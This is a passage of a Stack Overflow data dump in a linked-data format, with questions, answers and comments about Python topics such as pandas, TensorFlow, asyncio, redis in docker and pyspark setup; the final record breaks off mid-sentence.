has text: You can just use out.write().
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48719590

http://stackoverflow.com/comment/84513584
type: Comment
comment on: http://stackoverflow.com/q/48756197
type: QuestionComment
has text: Show the actual output in your question, maybe like `list(itertools.zip_longest(iter1 or [], iter2 or []))` ?
score: 0

http://stackoverflow.com/a/48799676
answers question: http://stackoverflow.com/q/48799632
type: AcceptedAnswer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/48799632
type: Answer
has body: For your 1st question, you can do: index_num = Toy.loc[Toy['inv_change']==Toy['salenum'].max()].index.tolist() To print out the rows with the index_num, you can do: Toy.loc[index_num]
upvote count: 1

http://stackoverflow.com/comment/84380311
type: Comment
type: QuestionComment
score: 1
has text: If you have an issue like that, first create a [mcve]. Here the problem is that you are trying to interpolate a parametric curve on a grid. Is there any reason for that? Why not take the data points themselves?
comment on: http://stackoverflow.com/q/48690777

http://stackoverflow.com/q/48759089
has title: select top value samples using tf.gather for linear model results 'No gradients provided for any variable' error
tagged with: machine-learning
tagged with: python
has body: I would like do following steps for a trainning: create a tensor for linear: target=Weight * X select top target values and drop all the rest samples. get corresponding labels, which is Y. use GradientDescentOptimizer, minimize sum(Y) and get fitted variable(W) code from tensorflow.python.framework import ops import numpy as np import tensorflow as tf sess = tf.Session() X=tf.placeholder(shape=[None,2], dtype=tf.float32) Y=tf.placeholder(shape=[None,1], dtype=tf.float32) W = tf.Variable(tf.random_normal(shape=[2, 1]), dtype=tf.float32) target=tf.matmul(X, W) flattened=tf.reshape(target,[-1]) selected_targets, keys=tf.nn.top_k(flattened, k=100) #get corresponding Y selected_y = tf.gather(Y, keys) #now we have top 100 selected_targets, and selected_y, train and evaluate W, and fit minimal sum(Y) train_target = tf.reduce_sum(selected_y) #But if use selected_targets instead of selected_y, it would run successfully, why? optimizer = tf.train.GradientDescentOptimizer(1) train = optimizer.minimize(train_target) # training x_vals = np.random.rand(1000,2) y_vals = np.random.rand(1000,1) sess.run(tf.global_variables_initializer()) sess.run(tf.local_variables_initializer()) sess.run(train, {X: x_vals, Y:y_vals}) print(sess.run([W])) I got this error: ValueError: No gradients provided for any variable, check your graph for ops that do not support gradients, between variables [""] and loss Tensor("Sum:0", shape=(), dtype=float32). Anyone could help on this issue? I found it happens when applying tf.nn.top_k on tensors. But why?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48773665
tagged with: tensorflow
type: Question
answer count: 1
score: 0
accepted answer: http://stackoverflow.com/a/48773665

http://stackoverflow.com/comment/84344562
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48666246
has text: Sample input is there, sample output will add
type: Comment

http://stackoverflow.com/comment/84473593
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48736293
score: 0
has text: Wrap the line in a `try..except`, catch the error, and print the offending line. Some of your input data has characters that iso8859-15 doesn't support. Maybe sanitize it or choose another encoding.

http://stackoverflow.com/q/48733005
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/48774379
upvote count: 2
has body: So I am using Message class from this repo to parse .msg file. I have a test file that works with that class. I am trying to use that class in custom parser I am writing for my Django rest framework app. But when I read stream.body, it additionally adds the following content ----------------------------488071469102781097692083 Content-Disposition: form-data; name="file"; filename="email_test.msg" Content-Type: application/vnd.ms-outlook < actual content here > ----------------------------488071469102781097692083-- and I have a doubt that, because of this additional content, Message class is throwing following error. not an OLE2 structured storage file Is my doubt right? How do I solve this?
tagged with: django
has title: create OleFile type file from uploaded file
answer count: 1
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48774379
downvote count: 0
tagged with: django-rest-framework
favorite count: 0

http://stackoverflow.com/a/65917652
answers question: http://stackoverflow.com/q/48716653
score: 0
type: Answer
has body: The simplest way would be: list1 = [10, 20, 30, 40, 50] for i in range(len(list1)-1,-1,-1): print(list1[i])

http://stackoverflow.com/q/48715206
has title: How can I write the pytest.main messages into a string?
tagged with: pytest
tagged with: unit-testing
type: Question
has answer: http://stackoverflow.com/a/48715390
score: 0
has body: When I call pytest.main(...) in Python, it will display the unit test messages in the output window, such as ============================= test session starts ============================= platform win32 -- Python 3.6.4, pytest-3.3.2, py-1.5.2, pluggy-0.6.0 rootdir: xxx, inifile: pytest.ini plugins: cov-2.5.1, hypothesis-3.38.5 collected 1 item ..\test_example.py F [100%] ================================== FAILURES =================================== _______________________________ test_something ________________________________ def test_something(): &gt; assert 1 == 0 E assert 1 == 0 ..\test_example.py:5: AssertionError ========================== 1 failed in 0.60 seconds =========================== My question is simply that how can I get the message above into a string object. The documentation doesn't say anything about this. And the what pytest.main() returns is only an integer that represents the error code. https://docs.pytest.org/en/latest/usage.html#calling-pytest-from-python-code
answer count: 1
accepted answer: http://stackoverflow.com/a/48715390
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/48732968
type: Answer
has comment: http://stackoverflow.com/comment/84466873
answers question: http://stackoverflow.com/q/48732735
accepted answer of: http://stackoverflow.com/q/48732735
score: 0
has comment: http://stackoverflow.com/comment/84467688
has comment: http://stackoverflow.com/comment/84468851
type: AcceptedAnswer
has body: I am not sure if this is the answer that you are looking for, but it may be useful to check. From the code below, def main(): m = test.MainClass() m.mainInterface(2.0, random.randint(1,2)) main() , I see that by running main(), you also run the m.mainInterface function. Now..you may want to check this : The method mainInterface will eventually call the method getCommand, which will eventually call checkCommand, which..will encounter the try block in the for word in actions loop, and inside this try block..there is a calling of mainInterface again..so this process will be keep repeating.

http://stackoverflow.com/comment/84585353
score: 0
has text: Input = " this is date input date("ABC ","any data " ) "
type: Comment
comment on: http://stackoverflow.com/q/48791132
type: QuestionComment

http://stackoverflow.com/comment/84527876
comment on: http://stackoverflow.com/q/48763137
type: Comment
type: QuestionComment
score: 0
has text: It would be benficial to provide an example.

http://stackoverflow.com/q/48745601
upvote count: 1
answer count: 1
downvote count: 1
has body: How do i map a dictionary over lists of np.ndarrays? I have a dictionary containing a range of keys and values. It looks something like this: {1: 0.5, 2: 0.51, 3: 0.34, 4: 0.38, 5: 0.4, 6: 0.27,} In addition, i have a list object containing a range of numpy arrays which looks like this: [array([1,2,3]), array([4,3,5,6]), array([1,4,6,2,3])] I want to map the dictionary over the arrays to replace each value in each array with its corresponding key value in the dictionary. It will yield something like this: [array([0.5,0.51,0.34]), array([0.38,0.34,0.4,0.27]), array([0.5,0.38,0.27,0.51,0.34])] Finally i want to take the mean of each array in the above structure and append this value to a data frame. Any suggestions?
favorite count: 0
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48746436
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/48746436
has title: Python: Mapping dictionary over multiple np.arrays
has comment: http://stackoverflow.com/comment/84492456
score: 0
tagged with: pandas

http://stackoverflow.com/q/48777130
tagged with: merge
type: UnansweredQuestion
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/84556293
type: Question
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48777421
tagged with: sorting
has body: I have seen lots of question/answers on this but none that I have looked at have solved my problem, so any help would be appreciated. I have a very large CSV file that has some duplicated column entries but I would like a script to match and merge the rows based on the 1st column. (I do not want to use pandas. I am using Python 2.7. There is no CSV headers in the file) This is the input: 2144, 2016, 505, 20005, 2007, PP, GPP, DAC, UNSW 8432, 2015, 505, 20005, 2041, LL, GLO, X2, UNSW 0055, 0.00, 0.00, 2014, 2017 2144, 0.00, 0.00, 2016, 959 8432, 22.9, 0.00, 2015, 2018 0055, 2014, 505, 20004, 2037, LL, GLO, X2, QAL Wanted output: 2144, 0.00, 0.00, 2016, 959, 2016, 505, 20005, 2007, PP, GPP, DAC, UNSW 0055, 0.00, 0.00, 2014, 2017, 2014, 505, 20004, 2037, LL, GLO, X2, QAL 8432, 22.9, 0.00, 2015, 2018, 2015, 505, 20005, 2041, LL, GLO, X2, UNSW I have tried : reader = csv.reader(open('input.csv)) result = {} for row in reader: idx = row[0] values = row[1:] if idx in result: result[idx] = [result[idx][i] or v for i, v in enumerate(values)] else: result[idx] = values and this to search duplicates: with open('1.csv','r') as in_file, open('2.csv','w') as out_file: seen = set() # set for fast O(1) amortized lookup for line in in_file: if line in seen: continue But these haven't helped me- I'm lost Any help would be great. Thanks
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
has title: Python script to merge rows based on 1st column
tagged with: python

http://stackoverflow.com/q/48708073
has comment: http://stackoverflow.com/comment/84420500
tagged with: deep-learning
favorite count: 0
has title: Where is the center Pixel of an even filter (6x6) in Matlab (imfilter) and TensorFlow (tf.nn.conv2d)?
type: Question
tagged with: python
answer count: 1
downvote count: 1
tagged with: matlab
has comment: http://stackoverflow.com/comment/84443446
score: 0
upvote count: 1
has body: For my master thesis i am currently porting a convolution operation from a Matlab Code to TensorFlow (Python API). The exception is that in Matlab an even filter_size was used (6x6). By debugging the Output of the Matlab and my TensorFlow Code, i recognized that the function imfilter from Matlab acts way different than the tf.nn.conv2d operation in TensorFlow. I get way different mean and std values, same for the min and max values. I can confirm that both, the values of my weights on Matlab and TF are the same and correct reshaped. The Bias is only a Scalar, so this isn't the problem either. My presumption is that both functions imfilter (Matlab) and tf.nn.conv2d (TF) don't use the same center pixel for convolution, because the output of an odd kernel size is similar. So for an odd kernel size both functions operate similar. Here is a snippet of the Matlab Code: imfilter(input_data(:,:,j), conv_subfilter, 'same', 0, 'conv'); conv_subfilter is a 6x6x48 Filter Kernel and is convolving a Width x Heigth x 48 Image - the result is a Image with depth 1, for both, TF and Matlab Here a snippet of my TF Code: h_conv3_ip = convolution2d(max_pool_conv2, W_conv3_ip, b_conv3_ip, [1, 1, 1, 1], 'SAME', "h_conv3_ip") def convolution2d(x, W, b, strides, padding, name): conv2d = tf.nn.conv2d(x, W, strides=strides, padding=padding, name=name) conv2d = tf.add(conv2d, b, name=name) return conv2d Can someone tell me if the Kernel center is the problem or sth. else? Thanks for help in advance!
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/84438901
has answer: http://stackoverflow.com/a/48748672
type: UnansweredQuestion

http://stackoverflow.com/comment/84536114
has text: @Rai you can use https://stackoverflow.com/questions/10377998/how-can-i-iterate-over-files-in-a-given-directory as a starting point on how to iterate over files. Then you should try opening them and reading the content (test it on a folder with only one file for a start), then you can go about trying to modifying the content
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48767624

http://stackoverflow.com/a/48708796
score: 0
has body: Your method is defined in a way that it asks for a (positional) argument, self. Which is conventionally used as the object reference of a class but since you don't have a class it is just a regular argument right now, that you're not passing. You can pass that argument by, making use of anonymous functions(lambda), replacing: Button(..., command=exe).pack() with: Button(..., command=lambda widget=root: exe(widget)).pack() You should also better replace: def exe(self): ... self.destroy() with: def exe(widget_to_be_destroyed): ... widget_to_be_destroyed.destroy() for disambiguation.
type: Answer
answers question: http://stackoverflow.com/q/48708318

http://stackoverflow.com/comment/84433953
comment on: http://stackoverflow.com/q/48717279
type: Comment
has text: You can try `python3 your_script.py` instead of `python your_script.py`. Check to see `python3 --version` beforehand if necessary.
score: 0
type: QuestionComment

http://stackoverflow.com/a/48767526
score: 1
has body: Here's an answer that solves it by only passing through once instead of twice and builds result as it goes (not sure if its faster or slower in practice for super large ts) &gt;&gt;&gt; from collections import Counter &gt;&gt;&gt; from itertools import chain &gt;&gt;&gt; ts = [(702,703), (703,704), (803,805), (803,806), (901,903), (902,903)] &gt;&gt;&gt; def find_common(ts): ... c = Counter() ... for num in chain.from_iterable(ts): ... c[num] += 1 ... if c[num] == 2: ... yield num ... &gt;&gt;&gt; list(find_common(ts)) [703, 803, 903] And without Counter &gt;&gt;&gt; def find_common(ts): ... seen, dupes = set(), set() ... for num in chain.from_iterable(ts): ... if num in seen and num not in dupes: ... dupes.add(num) ... yield num ... seen.add(num) &gt;&gt;&gt; list(find_common(ts)) [703, 803, 903]
answers question: http://stackoverflow.com/q/48762266
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/q/48796147
has comment: http://stackoverflow.com/comment/84602455
type: Question
has body: I'm trying to use the keyboard library in python 3 but continue to get an import error. I ran the program in windows in Thonny and It worked fine but I cant run it in the pi. I tried running it both as root and with sudo command with the same results. Below is the code as well as the error. import keyboard import time x=0 while True: print (x) x=x+1 print ("Press t to end program") if keyboard.is_pressed('t'): break else: pass print("I'm done") Output 0 Press t to end program Traceback (most recent call last): File "/home/pi/Desktop/Programs/KeyboardTest.py", line 10, in &lt;module&gt; if keyboard.is_pressed('t'): File "/home/pi/.local/lib/python3.5/site-packages/keyboard/__init__.py", line 166, in is_pressed _listener.start_if_necessary() File "/home/pi/.local/lib/python3.5/site-packages/keyboard/_generic.py", line 35, in start_if_necessary self.init() File "/home/pi/.local/lib/python3.5/site-packages/keyboard/__init__.py", line 116, in init _os_keyboard.init() File "/home/pi/.local/lib/python3.5/site-packages/keyboard/_nixkeyboard.py", line 110, in init build_device() File "/home/pi/.local/lib/python3.5/site-packages/keyboard/_nixkeyboard.py", line 106, in build_device ensure_root() File "/home/pi/.local/lib/python3.5/site-packages/keyboard/_nixcommon.py", line 165, in ensure_root raise ImportError('You must be root to use this library on linux.') ImportError: You must be root to use this library on linux.
answer count: 7
upvote count: 29
has answer: http://stackoverflow.com/a/66141839
has title: Import error: you must be root
has answer: http://stackoverflow.com/a/75487738
has answer: http://stackoverflow.com/a/59853966
has answer: http://stackoverflow.com/a/66142277
has answer: http://stackoverflow.com/a/72704916
has comment: http://stackoverflow.com/comment/90762756
favorite count: 0
has answer: http://stackoverflow.com/a/54044833
type: UnansweredQuestion
score: 29
tagged with: python
has comment: http://stackoverflow.com/comment/84595174
has answer: http://stackoverflow.com/a/73591266
downvote count: 0
has comment: http://stackoverflow.com/comment/84595135

win32gui
type: Tag
tag name: win32gui
tags question: http://stackoverflow.com/q/48735829

http://stackoverflow.com/q/48798979
tagged with: neural-network
tagged with: keras
accepted answer: http://stackoverflow.com/a/48800939
tagged with: pandas
tagged with: python
favorite count: 0
score: 2
upvote count: 2
has body: I am receiving the following error when I fit the network - ValueError: Error when checking target: expected dense_6 to have shape (2,) but got array with shape (22,) As far as I can tell the shape should be correct given how the dataset is split? Any help is greatly appreciated, thanks! The dataset can be found here: https://archive.ics.uci.edu/ml/machine-learning-databases/mushroom/agaricus-lepiota.data from keras.layers import Dense from keras.models import Sequential import keras.utils from sklearn import preprocessing from sklearn.model_selection import train_test_split import numpy as np import pandas as pd # seed weights np.random.seed(3) # import dataset data = pd.read_csv('agaricus-lepiota.csv', delimiter=',') # encode labels as integers so the can be one-hot-encoded which takes int matrix le = preprocessing.LabelEncoder() data = data.apply(le.fit_transform) # one-hot-encode string data (now type int) ohe = preprocessing.OneHotEncoder(sparse=False) data = ohe.fit_transform(data) X = data[:, 1:23] Y = data[:, 0:1] # split into test and train set x_train, y_train, x_test, y_test = train_test_split(X, Y, test_size=.2, random_state=5) # create model model = Sequential() model.add(Dense(500, input_dim=22, activation='relu')) model.add(Dense(300, activation='relu')) model.add(Dense(100, activation='relu')) model.add(Dense(50, activation='relu')) model.add(Dense(25, activation='relu')) model.add(Dense(2, activation='sigmoid')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=1000, batch_size=25)
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48800939
has title: Shaping neural network classification output dimensions?
type: Question
tagged with: numpy
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/84470238
type: AnswerComment
has text: OP is looking for the column prefixes to be `Subject{#}`, and so you could accomplish the pivot+rename all in one go with `df.pivot(...).add_prefix('Subject')`
comment on: http://stackoverflow.com/a/48735371
type: Comment
score: 0

data-analysis
tags question: http://stackoverflow.com/q/48708371
tags question: http://stackoverflow.com/q/48740563
tags question: http://stackoverflow.com/q/48737643
tags question: http://stackoverflow.com/q/48699907
type: Tag
tags question: http://stackoverflow.com/q/48728847
tags question: http://stackoverflow.com/q/48652404
tags question: http://stackoverflow.com/q/48754179
tags question: http://stackoverflow.com/q/48729001
tags question: http://stackoverflow.com/q/48803669
tags question: http://stackoverflow.com/q/48705865
tag name: data-analysis
tags question: http://stackoverflow.com/q/48646684

http://stackoverflow.com/a/48729169
has comment: http://stackoverflow.com/comment/84457591
type: Answer
answers question: http://stackoverflow.com/q/48728628
has comment: http://stackoverflow.com/comment/84459034
has body: Looks like you are trying to merge two data-frames on the 'Email' column such that after merge you should get Email String from DF2 merged with DF1. First we need to create a second column within DF2 that has email pattern matching DF1 (Email_Str). Next, we merge DF1, and DF2 on common Email column Further, we remove unwanted column Finally, rearrange columns to desired sequence. Working code as below (using your data) import pandas as pd import re df1 = pd.read_csv('file1.txt', sep=",", engine="python") df2 = pd.read_csv('file2.txt', sep=",", engine="python") def get_email(x): return ''.join(re.findall(r'"([^"]*)"', x)) df2.columns = ['Email_Str'] df2['Email']=df2['Email_Str'].apply(get_email) df2 = df2'Email','Email_Str' df3=pd.merge(df1,df2,on='Email').drop(['Email'], axis=1) df3 = df3u'ID', u'Name', u'Suburb', u'State', u' Postcode',u'Email_Str', u'Lat', u'Lon', Result: &gt;&gt;&gt; df3 ID Name Suburb State Postcode \ 0 1 Hurstville Clinic Hurstville NSW 1493 1 2 Sydney Centre Clinic Sydney NSW 2000 2 3 Auburn Clinic Auburn NSW 2144 3 4 Riverwood Clinic Riverwood NSW 2210 Email_Str Lat Lon 0 &lt;a href="hurstville@myclinic.com.au"&gt;&lt;/a&gt; -33.975869 151.088939 1 &lt;a href="sydney@myclinic.com.au"&gt;&lt;/a&gt; -33.867139 151.207114 2 &lt;a href="auburn@myclinic.com.au"&gt;&lt;/a&gt; -33.849322 151.033421 3 &lt;a href="riverwood@myclinic.com.au"&gt;&lt;/a&gt; -33.949859 151.052469 &gt;&gt;&gt; Hope this is what you are looking for.
score: 0
has comment: http://stackoverflow.com/comment/84458833

http://stackoverflow.com/q/48773329
favorite count: 0
tagged with: python-asyncio
tagged with: asynchronous
has comment: http://stackoverflow.com/comment/84555953
has comment: http://stackoverflow.com/comment/84570440
tagged with: python-3.x
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/35926917
has comment: http://stackoverflow.com/comment/84570376
tagged with: aiohttp
has comment: http://stackoverflow.com/comment/84555724
score: 1
has title: Repeatedly download websites with Python async
has comment: http://stackoverflow.com/comment/84550694
has body: I have a list of URL's of websites that I want to download repeatedly (in variable time intervals) using Python. It is necessary to do that asynchronously to cope with a large number of websites and/or long response times. I've tried many things with event loops, queues, async functions, asyncio, etc., but I do not get it working. The following very simple version downloads the websites repeatedly, but it does not download the websites concurrently - instead the next download only starts after the previous one is finished. import asyncio import datetime import aiohttp def produce_helper(url: str): # helper, because I cannot call an async function with loop.call_later loop.create_task(produce(url)) async def produce(url: str): await q.put(url) print(f'{datetime.datetime.now().strftime("%H:%M:%S.%f")} - Produced {url}') async def consume(): async with aiohttp.ClientSession() as session: while True: url = await q.get() print(f'{datetime.datetime.now().strftime("%H:%M:%S.%f")} - Start: {url}') async with session.get(url, timeout=10) as response: print(f'{datetime.datetime.now().strftime("%H:%M:%S.%f")} - Finished: {url}') q.task_done() loop.call_later(10, produce_helper, url) q = asyncio.Queue() url_list = ["https://www.google.com/", "https://www.bing.com/", "https://www.yelp.com/"] loop = asyncio.get_event_loop() for url in url_list: loop.create_task(produce(url)) loop.create_task(consume()) loop.run_forever() Is this a suitable approach for my problem? Is there anything better conceptually? And how do I accomplish concurrent downloads? Any help is appreciated. EDIT: The challenge (as described in the comment below) is the following: After each successful download, I want to add the respective URL back to the queue - to be due after a specified waiting time (10 s in the example in my question). As soon, as it is due, I want to download the website again, add the URL back to the queue etc.
type: Question
has comment: http://stackoverflow.com/comment/84555480
downvote count: 0

http://stackoverflow.com/a/48720792
score: 5
upvote count: 5
downvote count: 0
has body: You could use python's -c option in your a.sh file: echo "start" export abc="hello" a=$(python -c "import os ; print os.getenv('abc') * 2") echo $a echo "end"
type: Answer
answers question: http://stackoverflow.com/q/48720753

http://stackoverflow.com/comment/84499513
comment on: http://stackoverflow.com/a/48749589
has text: Also, just to avoid misunderstanding, I want to note that you don't have to name variable to store return value with the same name, you used within the function.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48799216
has answer: http://stackoverflow.com/a/48799290
has title: Python multiple search string function
upvote count: 0
type: UnansweredQuestion
tagged with: python-2.7
type: Question
score: -1
favorite count: 0
has answer: http://stackoverflow.com/a/48799250
answer count: 2
has body: I have below file contents apples:100 books:100 pens:200 banana:300 I have below code to search string in file: def search_string(file_search, search_string): search_output = [] with open(file_search) as f: for line in f: if search_string in line: search_output.append(line) return search_output To search apples: search_string("filename", "apples") Some cases, I have to search two or three strings depends on requirement in same file, so I need to write separate functions, or can we achieve in same function. If same function can any one help for two string search I have below code: def search_string2(file_search, search_string1, search_strin2): search_output = [] with open(file_search) as f: for line in f: if search_string1 in line or search_string2 in line: search_output.append(line) return search_output
tagged with: python
linked to: http://stackoverflow.com/q/34816775
downvote count: 1

http://stackoverflow.com/q/48736080
accepted answer: http://stackoverflow.com/a/48736272
type: AnsweredQuestion
score: 3
linked to: http://stackoverflow.com/q/35491274
downvote count: 0
has answer: http://stackoverflow.com/a/48969224
tagged with: networkx
type: Question
tagged with: numpy
upvote count: 3
has body: I have a pandas dataframe of the form df, Batch_ID Product_ID 1 A 1 B 1 C 2 B 2 B 2 C 2 C 3 B 3 B 3 C 4 C 4 D 5 D I would like to get an edge list from this, essentially a new dataframe edge_list_df (which I cant then convert to networkx object) of the form, Source Target Weight A B 1.0 A C 1.0 A D 0.0 B C 3.0 B D 0.0 C D 1.0 Note that I have given a number of different possibilities in the example to ensure my question is clear. For instance, the counter does not increase two times even though for Batch_ID=2 the B-C combination occurs twice. What is the most efficient way to achieve this?
answer count: 2
tagged with: pandas
possible better answer: http://stackoverflow.com/a/48969224
favorite count: 0
has title: Pandas: How to groupby combinations of column elements to indicate co-occurrence based on the values of a different column?
tagged with: python
has answer: http://stackoverflow.com/a/48736272

http://stackoverflow.com/q/48655575
has answer: http://stackoverflow.com/a/48728898
type: AnsweredQuestion
has body: I'm trying to set up a stand alone instance of spark locally on a mac and use the Python 3 API. To do this I've done the following, 1. I've downloaded and installed Scala and Spark. 2. I've set up the following environment variables, #Scala export SCALA_HOME=$HOME/scala/scala-2.12.4 export PATH=$PATH:$SCALA_HOME/bin #Spark export SPARK_HOME=$HOME/spark/spark-2.2.1-bin-hadoop2.7 export PATH=$PATH:$SPARK_HOME/bin #Jupyter Python export PYSPARK_PYTHON=python3 export PYSPARK_DRIVER_PYTHON=ipython3 export PYSPARK_DRIVER_PYTHON_OPTS="notebook" #Python alias python="python3" alias pip="pip3" export PYTHONPATH=$SPARK_HOME/python/:$PYTHONPATH export PYTHONPATH=$SPARK_HOME/python/lib/py4j-0.10.4-src.zip:$PYTHONPATH Now when I run the command pyspark --master local[2] And type sc on the notebook, I get the following, SparkContext Spark UI Version v2.2.1 Master local[2] AppName PySparkShell Clearly my SparkContext is not initialized. I'm expecting to see an initialized SparkContext object. What am I doing wrong here?
tagged with: ipython
has title: Can't instantiate Spark Context in iPython
type: Question
tagged with: pyspark
has comment: http://stackoverflow.com/comment/84441058
upvote count: 2
score: 0
linked to: http://stackoverflow.com/q/47824131
answer count: 2
downvote count: 2
accepted answer: http://stackoverflow.com/a/48744608
tagged with: apache-spark
linked to: http://stackoverflow.com/q/28831854
linked to: http://stackoverflow.com/q/46772280
favorite count: 0
possible better answer: http://stackoverflow.com/a/48728898
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48744608
tagged with: python

http://stackoverflow.com/comment/84433810
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48704008
has text: No issues, I found a workaround, the problem was that I was using boto3.resource instead of boto3.client. While applying the filters when using boto3.resource, the response was broken.. hence the error. There was no type mismatch actually.

http://stackoverflow.com/comment/84598612
score: 0
type: Comment
type: QuestionComment
has text: Yes this is from Codecademy.
comment on: http://stackoverflow.com/q/48797352

http://stackoverflow.com/comment/84503779
type: Comment
comment on: http://stackoverflow.com/a/48672280
type: AnswerComment
has text: Thanks Christopher!
score: 0

http://stackoverflow.com/a/48748517
has comment: http://stackoverflow.com/comment/84497508
type: Answer
has comment: http://stackoverflow.com/comment/84497736
answers question: http://stackoverflow.com/q/48748153
has comment: http://stackoverflow.com/comment/84497449
has body: This is one way: def summer(row, num): return sum(i for i, j in zip([row['val1'], row['val2'], row['val3']], [row['sv1'], row['sv2'], row['sv3']]) if j!=num) df['sum'] = df.apply(summer, axis=1, num=5)
has comment: http://stackoverflow.com/comment/84497646
score: 0
has comment: http://stackoverflow.com/comment/84497683

http://stackoverflow.com/q/48703600
score: 0
accepted answer: http://stackoverflow.com/a/48704421
tagged with: http://stackoverflow.com/tag/html
has body: I'm trying to click on each item in a span using Selenium. Is it possible to specify this in a for loop and how could I do this? This is how I currently click on the first span item: _open_actieve_polis = {"by": By.CSS_SELECTOR, "value": "td:nth-child(2)"} self._click(self._open_actieve_polis) in the base page this is how i implemented the _click method. def _find(self, locator): return self.driver.find_element(locator["by"], locator["value"]) def _click(self, locator): self._find(locator).click() these are the other span items I want to click: tbody &gt; tr:nth-child(2) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(3) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(4) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(5) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(6) &gt; td:nth-child(2) &gt; span &gt; a This is what I tried after applying feedback: This in a method: for link in self._open_actieve_polis: self._click_all(link) self.driver.back() I declared the locator in an attribute: _open_actieve_polis = ({"by": By.CSS_SELECTOR, "value": "td:nth-child(2)"}) the following in base page: def _find_all(self, locator): return self.driver.find_elements(locator["by"], locator["value"]) def _click_all(self, locator): self._find_all(locator).click() is currently resulting in: line 18, in _find_all return self.driver.find_elements(locator["by"], locator["value"]) TypeError: string indices must be integers
has comment: http://stackoverflow.com/comment/84406744
has comment: http://stackoverflow.com/comment/84406623
linked to: http://stackoverflow.com/q/48712495
tagged with: python
tagged with: object
type: AnsweredQuestion
has title: Loop through span items in selenium python
has answer: http://stackoverflow.com/a/48704421
has comment: http://stackoverflow.com/comment/84405874
tagged with: selenium
tagged with: loops
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48707149
has answer: http://stackoverflow.com/a/48707149
has comment: http://stackoverflow.com/comment/84412542

http://stackoverflow.com/q/48761478
tagged with: redis-py
upvote count: 1
has comment: http://stackoverflow.com/comment/84523712
type: UnansweredQuestion
has body: I'm able to run a normal redis docker image with: docker run --name redis -p 6379:6379 -v /home/maryam/redis:/data -d redis redis-server and then I can access the database via redis-py as I supposed to. but I want to use a custom config file and In order to do so, I specify the path to my redis.conf and create the container like this: docker run -v /home/maryam/Desktop/redis.conf:/usr/local/etc/redis/redis.conf -v /home/maryam/redis:/data -p 6379:6379 --name redis -d redis redis-server /usr/local/etc/redis/redis.conf The container is built without any errors and I can see the redis.conf file inside it. Problem is when I want to do anything with the database via redis-py, I get the following error: redis.exceptions.ConnectionError: Error while reading from socket: ('Connection closed by server.',) I think source of the problem should be redis.conf file which I have edited and added these lines to it: maxmemory 4gb (I also tried 4200000000 bytes) maxmemory-policy allkeys-lru maxmemory-samples 5 Without it, it works perfectly! So any idea how can I overcome this?
answer count: 0
downvote count: 0
score: 1
favorite count: 0
tagged with: docker
has title: Can't connect to redis container with custom config file via redis-py
tagged with: redis
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84523804

http://stackoverflow.com/comment/84609332
type: QuestionComment
has text: it's asking for the source of gromacs right? not cmake?
comment on: http://stackoverflow.com/q/48803136
score: 0
type: Comment

http://stackoverflow.com/a/48687169
score: 0
has comment: http://stackoverflow.com/comment/84373227
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48686585
has comment: http://stackoverflow.com/comment/84373734
type: Answer
has body: The main difference between the two isn't the if statement, it's the value of tot_x/tot_time. You reassign the value of tot_x to tot_x + a in the first, but not the second. As a result, even though the code inside the if statement is being hit, it computes to b = a[:-240], which is correctly evaluating to an empty array. I think what you're after can be accomplished by the replacing b = a[:-(a.size-(max_x-tot_x))] with b = a[:-(a.size-(tot_x-max_x))]. Hope that helps!
accepted answer of: http://stackoverflow.com/q/48686585

http://stackoverflow.com/q/48734609
type: UnansweredQuestion
has body: I'm on a mac when I normally run Jupyter notebook #or python #or python3 which python # === /Users/myname/anaconda3/bin/python This works as expected with python 3.6 being used. HOWEVER, when I setup my python code to run via a cronjob I am running into errors as some of my code is NOT compatible with 2.7 vs 3.6. I'm noticing that my python script in my cronjob is being run with 2.7. Obviously this is somewhat basic, but CAN'T figure out how to ensure that my python code that is run via cronjob is executed in Python3 vs Python2. I run vim ~/bash_profile and I see all of the following # Setting PATH for Python 3.4 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/3.4/bin:${PATH}" export PATH # Setting PATH for Python 3.4 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/3.4/bin:${PATH}" export PATH # Setting PATH for Python 3.4 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/3.4/bin:${PATH}" export PATH # Setting PATH for Python 3.4 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/3.4/bin:${PATH}" export PATH # added by Anaconda3 2.0.1 installer export PATH="/Users/myname/anaconda/bin:$PATH" # Setting PATH for Python 2.7 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/2.7/bin:${PATH}" export PATH # added by 